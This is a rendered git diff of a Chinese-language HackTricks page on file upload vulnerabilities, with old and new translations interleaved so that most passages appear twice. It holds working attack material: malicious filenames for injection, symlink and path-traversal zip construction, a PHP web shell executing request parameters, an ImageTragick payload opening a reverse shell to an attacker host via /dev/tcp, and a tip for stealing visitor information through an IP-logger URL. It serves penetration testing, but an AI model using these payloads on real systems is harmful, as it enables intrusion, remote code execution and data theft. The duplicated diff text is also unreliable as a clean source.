10. **PDF / PPTX**:SSRF / BLIND XXE
|
||||
- 将 **filename** 设置为 `../../../tmp/lol.png` 并尝试实现 **path traversal**
|
||||
- 将 **filename** 设置为 `sleep(10)-- -.jpg`,你可能能够实现 **SQL injection**
|
||||
- 将 **filename** 设置为 `<svg onload=alert(document.domain)>` 以实现 **XSS**
|
||||
- 将 **filename** 设置为 `; sleep 10;` 来测试一些 **command injection**(更多 [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- 尝试来自 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 的不同 svg payloads
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- 如果你可以**指示 web server 从一个 URL 抓取图片**,你可以尝试滥用 [SSRF](../ssrf-server-side-request-forgery/index.html)。如果该 **image** 将被**保存在某个公开站点**,你也可以指向来自 [https://iplogger.org/invisible/](https://iplogger.org/invisible/) 的 URL 并**窃取每个访问者的信息**。
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- 特别构造的 PDFs 导致 XSS:以下页面展示了如何 **inject PDF data to obtain JS execution** (见链接)。如果你可以上传 PDFs,你可以按指示准备某些会执行任意 JS 的 PDF。
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 内容以检查服务器是否存在任何 **antivirus**
|
||||
- 检查上传文件时是否存在任何 **大小限制**
|
||||
|
||||
这里有一个通过上传可以实现的前 10 项(来自 [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
3. **GIF**: Stored XSS / SSRF
|
||||
4. **CSV**: CSV injection
|
||||
5. **XML**: XXE
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : HTML injection / XSS / Open redirect
|
||||
8. **PNG / JPEG**: Pixel flood attack (DoS)
|
||||
9. **ZIP**: RCE via LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
||||
#### Burp Extension
|
||||
|
||||
#### Burp扩展
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/portswigger/upload-scanner
|
||||
{{#endref}}
|
||||
|
||||
## 魔法头字节
|
||||
## Magic Header Bytes
|
||||
|
||||
- **PNG**:`"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **JPG**:`"\xff\xd8\xff"`
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
请参阅[https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)以获取其他文件类型。
|
||||
参阅 [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) 了解其他 filetypes。
|
||||
|
||||
## Zip/Tar文件自动解压上传
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
|
||||
如果您可以上传一个将在服务器内部解压的ZIP,您可以做两件事:
|
||||
如果你可以上传一个会在服务器内被解压的 ZIP,你可以做两件事:
|
||||
|
||||
### 符号链接
|
||||
### Symlink
|
||||
|
||||
上传一个包含指向其他文件的软链接的链接,然后,访问解压的文件时,您将访问链接的文件:
|
||||
上传一个包含指向其他文件的 soft links 的链接,然后访问解压后的文件时,你将访问被链接的文件:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -220,16 +232,18 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### 在不同文件夹中解压
|
||||
|
||||
在解压过程中意外创建文件的情况是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行,但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制,通过操纵目标应用程序的解压功能逃离安全上传目录。
|
||||
在解压缩过程中意外在目录中创建文件是一个严重问题。尽管最初假定这种设置可以防止通过恶意文件上传触发操作系统级别的命令执行,但 ZIP 格式对层级压缩和目录遍历的支持可能被利用。攻击者可以通过操纵目标应用程序的解压缩功能来绕过限制并从安全的上传目录中逃逸。
|
||||
|
||||
一个自动化的利用工具可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到。该工具的使用方法如下:
|
||||
可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到用于构造此类文件的自动化利用工具。该工具可以按如下方式使用:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
此外,**使用 evilarc 的符号链接技巧**是一个选项。如果目标是针对像 `/flag.txt` 这样的文件,则应在您的系统中创建指向该文件的符号链接。这确保了 evilarc 在其操作过程中不会遇到错误。
|
||||
此外,**symlink trick with evilarc** 也是一种可选方案。
|
||||
|
||||
如果目标是针对像 `/flag.txt` 这样的文件,则应在系统中创建指向该文件的 symlink。这样可以确保 evilarc 在运行时不会遇到错误。
|
||||
|
||||
下面是用于创建恶意 zip 文件的 Python 代码示例:
|
||||
```python
|
||||
@ -249,11 +263,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**利用压缩进行文件喷洒**
|
||||
**滥用压缩进行 file spraying**
|
||||
|
||||
有关更多详细信息,请**查看原始帖子**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
进一步细节 **请查看原文帖在**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **创建 PHP Shell**: PHP 代码被编写以执行通过 `$_REQUEST` 变量传递的命令。
|
||||
1. **Creating a PHP Shell**: 编写 PHP 代码以执行通过 `$_REQUEST` 变量传入的命令。
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -263,14 +277,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **文件喷洒和压缩文件创建**: 创建多个文件,并组装一个包含这些文件的 zip 存档。
|
||||
2. **File Spraying and Compressed File Creation**: 创建多个文件并将这些文件打包为 zip 归档。
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **使用十六进制编辑器或 vi 进行修改**: 使用 vi 或十六进制编辑器更改 zip 内部文件的名称,将 "xxA" 更改为 "../" 以遍历目录。
|
||||
3. **Modification with a Hex Editor or vi**: 使用 vi 或十六进制编辑器修改 zip 内的文件名,将 "xxA" 更改为 "../" 以实现目录遍历。
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -280,40 +294,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
将此内容与图像扩展名一起上传以利用该漏洞 **(ImageMagick , 7.0.1-1)** (来自 [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
将此内容以图片扩展名上传以利用该漏洞 **(ImageMagick , 7.0.1-1)**(参考该 [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## 在PNG中嵌入PHP Shell
|
||||
## 在 PNG 中嵌入 PHP Shell
|
||||
|
||||
在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized`和`imagecopyresampled`函数在此上下文中特别相关,因为它们通常用于调整和重新采样图像。嵌入的PHP shell能够不受这些操作影响,这对某些用例来说是一个显著的优势。
|
||||
将 PHP shell 嵌入 PNG 文件的 IDAT 块,可以有效绕过某些图像处理操作。来自 PHP-GD 的 `imagecopyresized` 和 `imagecopyresampled` 函数在这方面尤其相关,因为它们通常用于调整图像大小和重采样。被嵌入的 PHP shell 不受这些操作影响的能力,对于某些用例是重要的优势。
|
||||
|
||||
以下文章提供了对该技术的详细探讨,包括其方法论和潜在应用:["在PNG IDAT块中编码Web Shell"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
|
||||
关于该技术的详细探讨(包括方法和潜在应用),见下文文章:["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
|
||||
|
||||
更多信息在:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## 多格式文件
|
||||
## Polyglot Files
|
||||
|
||||
多格式文件在网络安全中作为一种独特工具,像变色龙一样可以同时有效存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar),它既可以作为GIF也可以作为RAR档案。这样的文件并不限于这种配对;像GIF和JS或PPT和JS的组合也是可行的。
|
||||
Polyglot files 在网络安全中是独特的工具,像变色龙一样,能够同时以多种文件格式合法存在。一个有趣的例子是 [GIFAR](https://en.wikipedia.org/wiki/Gifar),它既能作为 GIF 工作,也能作为 RAR 归档。此类文件不限于这一组合;像 GIF 与 JS 或 PPT 与 JS 的组合也都是可行的。
|
||||
|
||||
多格式文件的核心实用性在于它们能够绕过基于类型筛选文件的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式(例如JS、PHP或Phar文件)带来的风险。然而,多格式文件通过符合多种文件类型的结构标准,可以悄然绕过这些限制。
|
||||
polyglot 文件的核心用途在于其绕过基于类型筛查的安全措施的能力。许多应用通常只允许上传某些文件类型,例如 JPEG、GIF 或 DOC,以降低潜在危险格式(例如 JS、PHP 或 Phar 文件)带来的风险。然而,polyglot 通过同时符合多种文件格式的结构要求,可以悄然绕过这些限制。
|
||||
|
||||
尽管它们具有适应性,但多格式文件确实面临限制。例如,虽然一个多格式文件可能同时包含一个PHAR文件(PHp ARchive)和一个JPEG,但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格,仅仅是多格式文件的结构双重性可能不足以保证其上传。
|
||||
尽管适应性强,polyglot 也存在局限。例如,虽然一个 polyglot 可能同时具备 PHAR 文件(PHp ARchive)和 JPEG 的特性,但其能否成功上传可能取决于平台对文件扩展名的策略。如果系统严格限制允许的扩展名,polyglot 的结构双重性可能不足以保证上传成功。
|
||||
|
||||
更多信息在:[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### 像PDF一样上传有效的JSON
|
||||
### Upload valid JSONs like if it was PDF
|
||||
|
||||
如何通过伪装成PDF文件上传有效的JSON文件以避免文件类型检测(来自**[这篇博客文章](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**的技术):
|
||||
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic`库**:只要`%PDF`魔术字节在前1024字节内,它就是有效的(从文章中获取示例)
|
||||
- **`pdflib`库**:在JSON的字段中添加一个伪造的PDF格式,以便库认为它是一个PDF(从文章中获取示例)
|
||||
- **`file`二进制**:它可以从文件中读取最多1048576字节。只需创建一个比这更大的JSON,以便它无法将内容解析为JSON,然后在JSON内部放入一个真实PDF的初始部分,它会认为这是一个PDF
|
||||
- **`mmmagic` library**: 只要 `%PDF` 魔术字节位于前 1024 字节内就被视为有效(示例见文章)
|
||||
- **`pdflib` library**: 在 JSON 的某个字段中加入伪造的 PDF 内容,使库认为这是一个 pdf(示例见文章)
|
||||
- **`file` binary**: 它最多能读取文件的前 1048576 字节。只需创建一个比这更大的 JSON,使其无法将内容解析为 JSON,然后在 JSON 内放入真实 PDF 的起始部分,它就会认为这是 PDF
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
@ -322,5 +336,6 @@ pop graphic-context
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user